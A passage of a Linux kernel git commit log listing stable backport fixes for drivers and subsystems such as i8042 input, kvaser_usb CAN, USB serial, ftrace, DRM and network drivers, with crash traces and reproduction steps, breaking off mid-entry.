81ef447950bf0955aca46f4a7617d8ce435cf0ce upstream. The post dividers do not work on i.MX6Q rev T0 1.0 so they must be fixed to 1. As the table index was wrong, a divider a of 4 could still be requested which implied the clock not to be set properly. This is the root cause of the HDMI not working at high resolution on rev T0 1.0 of the SoC. Signed-off-by: Gary Bisson Cc: Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b3b143d5b15ed575d882b1fad974258992ee01fb Author: Dmitry Voytik Date: Thu Nov 6 22:46:20 2014 +0400 ARM: imx6q: drop unnecessary semicolon commit d2a10a1727b3948019128e83162f22c65859f1fd upstream. Drop unnecessary semicolon after closing curly bracket. Signed-off-by: Dmitry Voytik Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5a88efe3495c24a405cce4aeb20e2f3a0d45eb62 Author: Fabio Estevam Date: Fri Dec 5 16:16:07 2014 -0200 ARM: dts: imx25: Fix the SPI1 clocks commit 7a87e9cbc3a2f0ff0955815335e08c9862359130 upstream. From Documentation/devicetree/bindings/clock/imx25-clock.txt: cspi1_ipg 78 cspi2_ipg 79 cspi3_ipg 80 , so fix the SPI1 clocks accordingly to avoid a kernel hang when trying to access SPI1. Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 42cf82754e0e7deed48b68790d7bf586d9b8fe03 Author: Dmitry Torokhov Date: Thu Jan 8 14:53:23 2015 -0800 Input: I8042 - add Acer Aspire 7738 to the nomux list commit 9333caeaeae4f831054e0e127a6ed3948b604d3e upstream. When KBC is in active multiplexing mode the touchpad on this laptop does not work. Reported-by: Bilal Koc Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 99115cdd51cf5e41038c08e9dbb1c39d30c39c8e Author: Srihari Vijayaraghavan Date: Wed Jan 7 16:25:53 2015 -0800 Input: i8042 - reset keyboard to fix Elantech touchpad detection commit 148e9a711e034e06310a8c36b64957934ebe30f2 upstream. On some laptops, keyboard needs to be reset in order to successfully detect touchpad (e.g., some Gigabyte laptop models with Elantech touchpads). Without resettin keyboard touchpad pretends to be completely dead. Based on the original patch by Mateusz JoÅ„czyk this version has been expanded to include DMI based detection & application of the fix automatically on the affected models of laptops. This has been confirmed to fix problem by three users already on three different models of laptops. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=81331 Signed-off-by: Srihari Vijayaraghavan Acked-by: Mateusz JoÅ„czyk Tested-by: Srihari Vijayaraghavan Tested by: Zakariya Dehlawi Tested-by: Guillaum Bouchard Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 10e46c2fd771d2ab2943099997705aa3c43ef13e Author: Ahmed S. Darwish Date: Mon Jan 5 12:57:13 2015 -0500 can: kvaser_usb: Don't send a RESET_CHIP for non-existing channels commit 5e7e6e0c9b47a45576c38b4a72d67927a5e049f7 upstream. Recent Leaf firmware versions (>= 3.1.557) do not allow to send commands for non-existing channels. If a command is sent for a non-existing channel, the firmware crashes. Reported-by: Christopher Storah Signed-off-by: Olivier Sobrie Signed-off-by: Ahmed S. Darwish Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 14e6b6afc5cc7123e61dbc33bf224ca72172fa11 Author: Ahmed S. Darwish Date: Mon Jan 5 12:52:06 2015 -0500 can: kvaser_usb: Reset all URB tx contexts upon channel close commit 889b77f7fd2bcc922493d73a4c51d8a851505815 upstream. Flooding the Kvaser CAN to USB dongle with multiple reads and writes in very high frequency (*), closing the CAN channel while all the transmissions are on (#), opening the device again (@), then sending a small number of packets would make the driver enter an almost infinite loop of: [....] [15959.853988] kvaser_usb 4-3:1.0 can0: cannot find free context [15959.853990] kvaser_usb 4-3:1.0 can0: cannot find free context [15959.853991] kvaser_usb 4-3:1.0 can0: cannot find free context [15959.853993] kvaser_usb 4-3:1.0 can0: cannot find free context [15959.853994] kvaser_usb 4-3:1.0 can0: cannot find free context [15959.853995] kvaser_usb 4-3:1.0 can0: cannot find free context [....] _dragging the whole system down_ in the process due to the excessive logging output. Initially, this has caused random panics in the kernel due to a buggy error recovery path. That got fixed in an earlier commit.(%) This patch aims at solving the root cause. --> 16 tx URBs and contexts are allocated per CAN channel per USB device. Such URBs are protected by: a) A simple atomic counter, up to a value of MAX_TX_URBS (16) b) A flag in each URB context, stating if it's free c) The fact that ndo_start_xmit calls are themselves protected by the networking layers higher above After grabbing one of the tx URBs, if the driver noticed that all of them are now taken, it stops the netif transmission queue. Such queue is worken up again only if an acknowedgment was received from the firmware on one of our earlier-sent frames. Meanwhile, upon channel close (#), the driver sends a CMD_STOP_CHIP to the firmware, effectively closing all further communication. In the high traffic case, the atomic counter remains at MAX_TX_URBS, and all the URB contexts remain marked as active. While opening the channel again (@), it cannot send any further frames since no more free tx URB contexts are available. Reset all tx URB contexts upon CAN channel close. (*) 50 parallel instances of `cangen0 -g 0 -ix` (#) `ifconfig can0 down` (@) `ifconfig can0 up` (%) "can: kvaser_usb: Don't free packets when tight on URBs" Signed-off-by: Ahmed S. Darwish Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4e0aeeba8de9d9df6df91a99defe8419802659cb Author: Ahmed S. Darwish Date: Mon Jan 5 12:49:10 2015 -0500 can: kvaser_usb: Don't free packets when tight on URBs commit b442723fcec445fb0ae1104888dd22cd285e0a91 upstream. Flooding the Kvaser CAN to USB dongle with multiple reads and writes in high frequency caused seemingly-random panics in the kernel. On further inspection, it seems the driver erroneously freed the to-be-transmitted packet upon getting tight on URBs and returning NETDEV_TX_BUSY, leading to invalid memory writes and double frees at a later point in time. Note: Finding no more URBs/transmit-contexts and returning NETDEV_TX_BUSY is a driver bug in and out of itself: it means that our start/stop queue flow control is broken. This patch only fixes the (buggy) error handling code; the root cause shall be fixed in a later commit. Acked-by: Olivier Sobrie Signed-off-by: Ahmed S. Darwish Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1baf5a5a4ffbe7daafa96703a9835399d081fc0c Author: Johan Hovold Date: Mon Dec 22 18:39:39 2014 +0100 USB: keyspan: fix null-deref at probe commit b5122236bba8d7ef62153da5b55cc65d0944c61e upstream. Fix null-pointer dereference during probe if the interface-status completion handler is called before the individual ports have been set up. Fixes: f79b2d0fe81e ("USB: keyspan: fix NULL-pointer dereferences and memory leaks") Reported-by: Richard Tested-by: Richard Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d2dc0651ddde907849987e6245b5b02f2f40873c Author: David Peterson Date: Tue Jan 6 15:00:52 2015 +0000 USB: cp210x: add IDs for CEL USB sticks and MeshWorks devices commit 1ae78a4870989a354028cb17dabf819b595e70e3 upstream. Added virtual com port VID/PID entries for CEL USB sticks and MeshWorks devices. Signed-off-by: David Peterson Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aa90ba1ba9ec9b507048e9287991c77ded23d9e5 Author: Preston Fick Date: Sat Dec 27 01:32:41 2014 -0600 USB: cp210x: fix ID for production CEL MeshConnect USB Stick commit 90441b4dbe90ba0c38111ea89fa093a8c9627801 upstream. Fixing typo for MeshConnect IDs. The original PID (0x8875) is not in production and is not needed. Instead it has been changed to the official production PID (0x8857). Signed-off-by: Preston Fick Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1e11a96ba33b90386959cbe547edfe1c62ea4336 Author: Arseny Solokha Date: Sat Dec 6 09:54:06 2014 +0700 OHCI: add a quirk for ULi M5237 blocking on reset commit 56abcab833fafcfaeb2f5b25e0364c1dec45f53e upstream. Commit 8dccddbc2368 ("OHCI: final fix for NVIDIA problems (I hope)") introduced into 3.1.9 broke boot on e.g. Freescale P2020DS development board. The code path that was previously specific to NVIDIA controllers had then become taken for all chips. However, the M5237 installed on the board wedges solid when accessing its base+OHCI_FMINTERVAL register, making it impossible to boot any kernel newer than 3.1.8 on this particular and apparently other similar machines. Don't readl() and writel() base+OHCI_FMINTERVAL on PCI ID 10b9:5237. The patch is suitable for the -next tree as well as all maintained kernels up to 3.2 inclusive. Signed-off-by: Arseny Solokha Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 40ff13f8e323ca7f7dbe6f8c320f124c5f308fbc Author: Hans Holmberg Date: Fri Jan 9 09:40:43 2015 +0100 gpiolib: of: Correct error handling in of_get_named_gpiod_flags commit 7b8792bbdffdff3abda704f89c6a45ea97afdc62 upstream. of_get_named_gpiod_flags fails with -EPROBE_DEFER in cases where the gpio chip is available and the GPIO translation fails. This causes drivers to be re-probed erroneusly, and hides the real problem(i.e. the GPIO number being out of range). Signed-off-by: Hans Holmberg Reviewed-by: Alexandre Courbot Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 58596d76696a150450d9a8e6eb834f2871cf0800 Author: Trond Myklebust Date: Fri Jan 2 16:25:08 2015 -0500 NFSv4.1: Fix client id trunking on Linux commit 1fc0703af3143914a389bfa081c7acb09502ed5d upstream. Currently, our trunking code will check for session trunking, but will fail to detect client id trunking. This is a problem, because it means that the client will fail to recognise that the two connections represent shared state, even if they do not permit a shared session. By removing the check for the server minor id, and only checking the major id, we will end up doing the right thing in both cases: we close down the new nfs_client and fall back to using the existing one. Fixes: 05f4c350ee02e ("NFS: Discover NFSv4 server trunking when mounting") Cc: Chuck Lever Tested-by: Chuck Lever Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d857dbd3d09881bd6191957f3a12abf5af632d5 Author: Steven Rostedt (Red Hat) Date: Mon Jan 12 12:12:03 2015 -0500 ftrace/jprobes/x86: Fix conflict between jprobes and function graph tracing commit 237d28db036e411f22c03cfd5b0f6dc2aa9bf3bc upstream. If the function graph tracer traces a jprobe callback, the system will crash. This can easily be demonstrated by compiling the jprobe sample module that is in the kernel tree, loading it and running the function graph tracer. # modprobe jprobe_example.ko # echo function_graph > /sys/kernel/debug/tracing/current_tracer # ls The first two commands end up in a nice crash after the first fork. (do_fork has a jprobe attached to it, so "ls" just triggers that fork) The problem is caused by the jprobe_return() that all jprobe callbacks must end with. The way jprobes works is that the function a jprobe is attached to has a breakpoint placed at the start of it (or it uses ftrace if fentry is supported). The breakpoint handler (or ftrace callback) will copy the stack frame and change the ip address to return to the jprobe handler instead of the function. The jprobe handler must end with jprobe_return() which swaps the stack and does an int3 (breakpoint). This breakpoint handler will then put back the saved stack frame, simulate the instruction at the beginning of the function it added a breakpoint to, and then continue on. For function tracing to work, it hijakes the return address from the stack frame, and replaces it with a hook function that will trace the end of the call. This hook function will restore the return address of the function call. If the function tracer traces the jprobe handler, the hook function for that handler will not be called, and its saved return address will be used for the next function. This will result in a kernel crash. To solve this, pause function tracing before the jprobe handler is called and unpause it before it returns back to the function it probed. Some other updates: Used a variable "saved_sp" to hold kcb->jprobe_saved_sp. This makes the code look a bit cleaner and easier to understand (various tries to fix this bug required this change). Note, if fentry is being used, jprobes will change the ip address before the function graph tracer runs and it will not be able to trace the function that the jprobe is probing. Link: http://lkml.kernel.org/r/20150114154329.552437962@goodmis.org Acked-by: Masami Hiramatsu Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 45f66498a87d1d3ef4b5ed1ab6bfe9847485da35 Author: Wei Yang Date: Wed Jan 7 10:29:11 2015 -0700 vfio-pci: Fix the check on pci device type in vfio_pci_probe() commit 7c2e211f3c95b91912a92a8c6736343690042e2e upstream. Current vfio-pci just supports normal pci device, so vfio_pci_probe() will return if the pci device is not a normal device. While current code makes a mistake. PCI_HEADER_TYPE is the offset in configuration space of the device type, but we use this value to mask the type value. This patch fixs this by do the check directly on the pci_dev->hdr_type. Signed-off-by: Wei Yang Signed-off-by: Alex Williamson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b883679907c103108f43cdedd7d11c1e338c7ba9 Author: Takashi Iwai Date: Fri Oct 24 05:10:20 2014 -0300 uvcvideo: Fix destruction order in uvc_delete() commit 2228d80dd05a4fc5a410fde847677b8fb3eb23d7 upstream. We've got a bug report at disconnecting a Webcam, where the kernel spews warnings like below: WARNING: CPU: 0 PID: 8385 at ../fs/sysfs/group.c:219 sysfs_remove_group+0x87/0x90() sysfs group c0b2350c not found for kobject 'event3' CPU: 0 PID: 8385 Comm: queue2:src Not tainted 3.16.2-1.gdcee397-default #1 Hardware name: ASUSTeK Computer INC. A7N8X-E/A7N8X-E, BIOS ASUS A7N8X-E Deluxe ACPI BIOS Rev 1013 11/12/2004 c08d0705 ddc75cbc c0718c5b ddc75ccc c024b654 c08c6d44 ddc75ce8 000020c1 c08d0705 000000db c03d1ec7 c03d1ec7 00000009 00000000 c0b2350c d62c9064 ddc75cd4 c024b6a3 00000009 ddc75ccc c08c6d44 ddc75ce8 ddc75cfc c03d1ec7 Call Trace: [] try_stack_unwind+0x156/0x170 [] dump_trace+0x53/0x180 [] show_trace_log_lvl+0x46/0x50 [] show_stack_log_lvl+0x51/0xe0 [] show_stack+0x27/0x50 [] dump_stack+0x3e/0x4e [] warn_slowpath_common+0x84/0xa0 [] warn_slowpath_fmt+0x33/0x40 [] sysfs_remove_group+0x87/0x90 [] device_del+0x34/0x180 [] evdev_disconnect+0x19/0x50 [] __input_unregister_device+0x9a/0x140 [] input_unregister_device+0x45/0x80 [] uvc_delete+0x26/0x110 [uvcvideo] [] v4l2_device_release+0x98/0xc0 [videodev] [] device_release+0x2b/0x90 [] kobject_cleanup+0x6f/0x1a0 [] v4l2_release+0x43/0x70 [videodev] [] __fput+0xb1/0x1b0 [] task_work_run+0x91/0xb0 [] do_exit+0x265/0x910 [] do_group_exit+0x34/0xa0 [] get_signal_to_deliver+0x17f/0x590 [] do_signal+0x3a/0x960 [] do_notify_resume+0x67/0x90 [] work_notifysig+0x30/0x3b [] 0xb7739e5f ---[ end trace b1e56095a485b631 ]--- The cause is that uvc_status_cleanup() is called after usb_put_*() in uvc_delete(). usb_put_*() removes the sysfs parent and eventually removes the children recursively, so the later device_del() can't find its sysfs. The fix is simply rearrange the call orders in uvc_delete() so that the child is removed before the parent. Bugzilla: https://bugzilla.suse.com/show_bug.cgi?id=897736 Reported-and-tested-by: Martin Pluskal Signed-off-by: Takashi Iwai Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 116490099a9caa16cb81e3936ef9e574b539311f Author: Sakari Ailus Date: Tue Sep 16 15:57:07 2014 -0300 smiapp: Take mutex during PLL update in sensor initialisation commit f85698cd296f08218a7750f321e94607da128600 upstream. The mutex does not serialise anything in this case but avoids a lockdep warning from the control framework. Signed-off-by: Sakari Ailus Acked-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 43761a48ca9ff43ff86dd7e66aba3a8b87d77018 Author: Frank Schaefer Date: Mon Sep 29 15:17:35 2014 -0300 af9005: fix kernel panic on init if compiled without IR commit 2279948735609d0d17d7384e776b674619f792ef upstream. This patches fixes an ancient bug in the dvb_usb_af9005 driver, which has been reported at least in the following threads: https://lkml.org/lkml/2009/2/4/350 https://lkml.org/lkml/2014/9/18/558 If the driver is compiled in without any IR support (neither DVB_USB_AF9005_REMOTE nor custom symbols), the symbol_request calls in af9005_usb_module_init() return pointers != NULL although the IR symbols are not available. This leads to the following oops: ... [ 8.529751] usbcore: registered new interface driver dvb_usb_af9005 [ 8.531584] BUG: unable to handle kernel paging request at 02e00000 [ 8.533385] IP: [<7d9d67c6>] af9005_usb_module_init+0x6b/0x9d [ 8.535613] *pde = 00000000 [ 8.536416] Oops: 0000 [#1] PREEMPT PREEMPT DEBUG_PAGEALLOCDEBUG_PAGEALLOC [ 8.537863] CPU: 0 PID: 1 Comm: swapper Not tainted 3.15.0-rc6-00151-ga5c075c #1 [ 8.539827] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140531_083030-gandalf 04/01/2014 [ 8.541519] task: 89c9a670 ti: 89c9c000 task.ti: 89c9c000 [ 8.541519] EIP: 0060:[<7d9d67c6>] EFLAGS: 00010206 CPU: 0 [ 8.541519] EIP is at af9005_usb_module_init+0x6b/0x9d [ 8.541519] EAX: 02e00000 EBX: 00000000 ECX: 00000006 EDX: 00000000 [ 8.541519] ESI: 00000000 EDI: 7da33ec8 EBP: 89c9df30 ESP: 89c9df2c [ 8.541519] DS: 007b ES: 007b FS: 0000 GS: 00e0 SS: 0068 [ 8.541519] CR0: 8005003b CR2: 02e00000 CR3: 05a54000 CR4: 00000690 [ 8.541519] Stack: [ 8.541519] 7d9d675b 89c9df90 7d992a49 7d7d5914 89c9df4c 7be3a800 7d08c58c 8a4c3968 [ 8.541519] 89c9df80 7be3a966 00000192 00000006 00000006 7d7d3ff4 8a4c397a 00000200 [ 8.541519] 7d6b1280 8a4c3979 00000006 000009a6 7da32db8 b13eec81 00000006 000009a6 [ 8.541519] Call Trace: [ 8.541519] [<7d9d675b>] ? ttusb2_driver_init+0x16/0x16 [ 8.541519] [<7d992a49>] do_one_initcall+0x77/0x106 [ 8.541519] [<7be3a800>] ? parameqn+0x2/0x35 [ 8.541519] [<7be3a966>] ? parse_args+0x113/0x25c [ 8.541519] [<7d992bc2>] kernel_init_freeable+0xea/0x167 [ 8.541519] [<7cf01070>] kernel_init+0x8/0xb8 [ 8.541519] [<7cf27ec0>] ret_from_kernel_thread+0x20/0x30 [ 8.541519] [<7cf01068>] ? rest_init+0x10c/0x10c [ 8.541519] Code: 08 c2 c7 05 44 ed f9 7d 00 00 e0 02 c7 05 40 ed f9 7d 00 00 e0 02 c7 05 3c ed f9 7d 00 00 e0 02 75 1f b8 00 00 e0 02 85 c0 74 16 00 00 e0 02 c7 05 54 84 8e 7d 00 00 e0 02 a3 58 84 8e 7d eb [ 8.541519] EIP: [<7d9d67c6>] af9005_usb_module_init+0x6b/0x9d SS:ESP 0068:89c9df2c [ 8.541519] CR2: 0000000002e00000 [ 8.541519] ---[ end trace 768b6faf51370fc7 ]--- The prefered fix would be to convert the whole IR code to use the kernel IR infrastructure (which wasn't available at the time this driver had been created). Until anyone who still has this old hardware steps up an does the conversion, fix it by not calling the symbol_request calls if the driver is compiled in without the default IR symbols (CONFIG_DVB_USB_AF9005_REMOTE). Due to the IR related pointers beeing NULL by default, IR support will then be disabled. The downside of this solution is, that it will no longer be possible to compile custom IR symbols (not using CONFIG_DVB_USB_AF9005_REMOTE) in. Please note that this patch has NOT been tested with all possible cases. I don't have the hardware and could only verify that it fixes the reported bug. Reported-by: Fengguag Wu Signed-off-by: Frank Schäfer Acked-by: Luca Olivetti Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c4c8a75c2d8851157bb395189ad9e71e764fbfd8 Author: Sakari Ailus Date: Tue Apr 1 10:22:46 2014 -0300 smiapp-pll: Correct clock debug prints commit bc47150ab93988714d1fab7bc82fe5f505a107ad upstream. The PLL flags were not used correctly. Signed-off-by: Sakari Ailus Acked-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 848c085e34095a4d85c471f15c223811b78c6520 Author: Tomi Valkeinen Date: Thu Dec 18 13:40:06 2014 +0200 video/logo: prevent use of logos after they have been freed commit 92b004d1aa9f367c372511ca0330f58216b25703 upstream. If the probe of an fb driver has been deferred due to missing dependencies, and the probe is later ran when a module is loaded, the fbdev framework will try to find a logo to use. However, the logos are __initdata, and have already been freed. This causes sometimes page faults, if the logo memory is not mapped, sometimes other random crashes as the logo data is invalid, and sometimes nothing, if the fbdev decides to reject the logo (e.g. the random value depicting the logo's height is too big). This patch adds a late_initcall function to mark the logos as freed. In reality the logos are freed later, and fbdev probe may be ran between this late_initcall and the freeing of the logos. In that case we will miss drawing the logo, even if it would be possible. Signed-off-by: Tomi Valkeinen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4a189b6940ca6dd844393bd5ee47f12e21c50220 Author: Long Li Date: Fri Dec 5 19:38:18 2014 -0800 storvsc: ring buffer failures may result in I/O freeze commit e86fb5e8ab95f10ec5f2e9430119d5d35020c951 upstream. When ring buffer returns an error indicating retry, storvsc may not return a proper error code to SCSI when bounce buffer is not used. This has introduced I/O freeze on RAID running atop storvsc devices. This patch fixes it by always returning a proper error code. Signed-off-by: Long Li Reviewed-by: K. Y. Srinivasan Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f65671707b9a21212b9691d6d1931b165a662bb8 Author: Nicholas Bellinger Date: Thu Nov 20 20:50:07 2014 -0800 iscsi-target: Fail connection on short sendmsg writes commit 6bf6ca7515c1df06f5c03737537f5e0eb191e29e upstream. This patch changes iscsit_do_tx_data() to fail on short writes when kernel_sendmsg() returns a value different than requested transfer length, returning -EPIPE and thus causing a connection reset to occur. This avoids a potential bug in the original code where a short write would result in kernel_sendmsg() being called again with the original iovec base + length. In practice this has not been an issue because iscsit_do_tx_data() is only used for transferring 48 byte headers + 4 byte digests, along with seldom used control payloads from NOPIN + TEXT_RSP + REJECT with less than 32k of data. So following Al's audit of iovec consumers, go ahead and fail the connection on short writes for now, and remove the bogus logic ahead of his proper upstream fix. Reported-by: Al Viro Cc: David S. Miller Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 12e91bcc7965e69606367cdbea31eec4de54ef7a Author: Dominique Leuenberger Date: Thu Nov 13 20:57:37 2014 +0100 hp_accel: Add support for HP ZBook 15 commit 6583659e0f92e38079a8dd081e0a1181a0f37747 upstream. HP ZBook 15 laptop needs a non-standard mapping (x_inverted). BugLink: http://bugzilla.opensuse.org/show_bug.cgi?id=905329 Signed-off-by: Dominique Leuenberger Signed-off-by: Takashi Iwai Signed-off-by: Darren Hart Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4440ed6beed0d03576d6e58f8bc4518c57c6b82c Author: Jouni Malinen Date: Thu Dec 11 23:48:55 2014 +0200 cfg80211: Fix 160 MHz channels with 80+80 and 160 MHz drivers commit 08f6f147773b23b765b94633a8eaa82e7defcf4c upstream. The VHT supported channel width field is a two bit integer, not a bitfield. cfg80211_chandef_usable() was interpreting it incorrectly and ended up rejecting 160 MHz channel width if the driver indicated support for both 160 and 80+80 MHz channels. Fixes: 3d9d1d6656a73 ("nl80211/cfg80211: support VHT channel configuration") (however, no real drivers had 160 MHz support it until 3.16) Signed-off-by: Jouni Malinen Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d709f8493b700aa65557d09d7463316969f5ec3c Author: Vineet Gupta Date: Wed Oct 1 14:28:36 2014 +0530 ARC: [nsimosci] move peripherals to match model to FPGA commit e8ef060b37c2d3cc5fd0c0edbe4e42ec1cb9768b upstream. This allows the sdplite/Zebu images to run on OSCI simulation platform Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e6f019d8f68c615d79128f366a2f984aae26c1ea Author: Chris Wilson Date: Tue Dec 16 08:44:32 2014 +0000 drm/i915: Force the CS stall for invalidate flushes commit add284a3a2481e759d6bec35f6444c32c8ddc383 upstream. In order to act as a full command barrier by itself, we need to tell the pipecontrol to actually stall the command streamer while the flush runs. We require the full command barrier before operations like MI_SET_CONTEXT, which currently rely on a prior invalidate flush. References: https://bugs.freedesktop.org/show_bug.cgi?id=83677 Cc: Simon Farnsworth Cc: Daniel Vetter Cc: Ville Syrjälä Signed-off-by: Chris Wilson Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0687406873734cfd0051660c43f3909546909c4e Author: Chris Wilson Date: Tue Dec 16 08:44:31 2014 +0000 drm/i915: Invalidate media caches on gen7 commit 148b83d0815a3778c8949e6a97cb798cbaa0efb3 upstream. In the gen7 pipe control there is an extra bit to flush the media caches, so let's set it during cache invalidation flushes. v2: Rename to MEDIA_STATE_CLEAR to be more inline with spec. Cc: Simon Farnsworth Cc: Ville Syrjälä Cc: Daniel Vetter Signed-off-by: Chris Wilson Reviewed-by: Daniel Vetter Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1f56f4352849444102675b9965a7a99e8c28bcf0 Author: Alex Deucher Date: Wed Dec 10 09:42:10 2014 -0500 drm/radeon: properly filter DP1.2 4k modes on non-DP1.2 hw commit 410cce2a6b82299b46ff316c6384e789ce275ecb upstream. The check was already in place in the dp mode_valid check, but radeon_dp_get_dp_link_clock() never returned the high clock mode_valid was checking for because that function clipped the clock based on the hw capabilities. Add an explicit check in the mode_valid function. bug: https://bugs.freedesktop.org/show_bug.cgi?id=87172 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d6fffa45abb7f6b70c47f6ac6e516febdca170a3 Author: Alex Deucher Date: Wed Dec 3 00:03:49 2014 -0500 drm/radeon: check the right ring in radeon_evict_flags() commit 5e5c21cac1001089007260c48b0c89ebaace0e71 upstream. Check the that ring we are using for copies is functional rather than the GFX ring. On newer asics we use the DMA ring for bo moves. Reviewed-by: Christian König Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 093030465f29e114cf0fa638a5a630b62387d815 Author: Thomas Hellstrom Date: Tue Dec 2 03:36:57 2014 -0800 drm/vmwgfx: Fix fence event code commit 89669e7a7f96be3ee8d9a22a071d7c0d3b4428fc upstream. The commit "vmwgfx: Rework fence event action" introduced a number of bugs that are fixed with this commit: a) A forgotten return stateemnt. b) An if statement with identical branches. Reported-by: Rob Clark Signed-off-by: Thomas Hellstrom Reviewed-by: Jakob Bornecrantz Reviewed-by: Sinclair Yeh Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56dd7c37297eb64dcd34f10523df6d4fda3b789e Author: Govindarajulu Varadarajan <_govind@gmx.com> Date: Thu Dec 18 15:58:42 2014 +0530 enic: fix rx skb checksum [ Upstream commit 17e96834fd35997ca7cdfbf15413bcd5a36ad448 ] Hardware always provides compliment of IP pseudo checksum. Stack expects whole packet checksum without pseudo checksum if CHECKSUM_COMPLETE is set. This causes checksum error in nf & ovs. kernel: qg-19546f09-f2: hw csum failure kernel: CPU: 9 PID: 0 Comm: swapper/9 Tainted: GF O-------------- 3.10.0-123.8.1.el7.x86_64 #1 kernel: Hardware name: Cisco Systems Inc UCSB-B200-M3/UCSB-B200-M3, BIOS B200M3.2.2.3.0.080820141339 08/08/2014 kernel: ffff881218f40000 df68243feb35e3a8 ffff881237a43ab8 ffffffff815e237b kernel: ffff881237a43ad0 ffffffff814cd4ca ffff8829ec71eb00 ffff881237a43af0 kernel: ffffffff814c6232 0000000000000286 ffff8829ec71eb00 ffff881237a43b00 kernel: Call Trace: kernel: [] dump_stack+0x19/0x1b kernel: [] netdev_rx_csum_fault+0x3a/0x40 kernel: [] __skb_checksum_complete_head+0x62/0x70 kernel: [] __skb_checksum_complete+0x11/0x20 kernel: [] nf_ip_checksum+0xcc/0x100 kernel: [] icmp_error+0x1f7/0x35c [nf_conntrack_ipv4] kernel: [] ? netif_rx+0xb9/0x1d0 kernel: [] ? internal_dev_recv+0xdb/0x130 [openvswitch] kernel: [] nf_conntrack_in+0xf0/0xa80 [nf_conntrack] kernel: [] ? inet_del_offload+0x40/0x40 kernel: [] ipv4_conntrack_in+0x22/0x30 [nf_conntrack_ipv4] kernel: [] nf_iterate+0xaa/0xc0 kernel: [] ? inet_del_offload+0x40/0x40 kernel: [] nf_hook_slow+0x84/0x140 kernel: [] ? inet_del_offload+0x40/0x40 kernel: [] ip_rcv+0x344/0x380 Hardware verifies IP & tcp/udp header checksum but does not provide payload checksum, use CHECKSUM_UNNECESSARY. Set it only if its valid IP tcp/udp packet. Cc: Jiri Benc Cc: Stefan Assmann Reported-by: Sunil Choudhary Signed-off-by: Govindarajulu Varadarajan <_govind@gmx.com> Reviewed-by: Jiri Benc Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6306175c2a70d07f5a20c54c55312f6114e4b199 Author: Eric Dumazet Date: Sun Jan 11 10:32:18 2015 -0800 alx: fix alx_poll() [ Upstream commit 7a05dc64e2e4c611d89007b125b20c0d2a4d31a5 ] Commit d75b1ade567f ("net: less interrupt masking in NAPI") uncovered wrong alx_poll() behavior. A NAPI poll() handler is supposed to return exactly the budget when/if napi_complete() has not been called. It is also supposed to return number of frames that were received, so that netdev_budget can have a meaning. Also, in case of TX pressure, we still have to dequeue received packets : alx_clean_rx_irq() has to be called even if alx_clean_tx_irq(alx) returns false, otherwise device is half duplex. Signed-off-by: Eric Dumazet Fixes: d75b1ade567f ("net: less interrupt masking in NAPI") Reported-by: Oded Gabbay Bisected-by: Oded Gabbay Tested-by: Oded Gabbay Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7d66a695900282ff2296ed0430781e2fa4c5b323 Author: Herbert Xu Date: Thu Jan 1 00:39:23 2015 +1100 tcp: Do not 